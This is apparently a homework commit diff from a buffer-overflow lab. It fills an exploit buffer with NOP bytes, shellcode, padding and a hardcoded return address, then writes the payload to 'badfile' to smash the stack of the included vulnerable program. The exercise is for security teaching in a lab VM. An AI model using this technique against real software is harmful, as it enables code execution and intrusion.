Works with gdb in the included VM.

hw2/exploit.c

@@ -27,9 +27,15 @@ int main(int argc, char **argv)
     
     /* Initialize buffer with 0x90 (NOP instruction) */
     memset(&buffer, 0x90, 517);
-    
+   
     /* You need to fill the buffer with appropriate contents here */
-    strcpy(buffer, shellcode);
+
+    // Inject the shellcode into the buffer.
+    strcpy(&buffer[33], shellcode);
+    // Padding...
+    strcpy(&buffer[57], "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
+    // Point ebp register to the injected code.
+    strcpy(&buffer[16], "\xf8\xf2\xff\xbf");
 
     /* Save the contents to the file "badfile" */
     badfile = fopen("./badfile", "w");

hw2/stack.c

@@ -15,7 +15,7 @@ int bof(char *str)
     return 1;
 }
 
-void main(int argc, char **argv)
+int main(int argc, char **argv)
 {
     char str[517];
     FILE *badfile;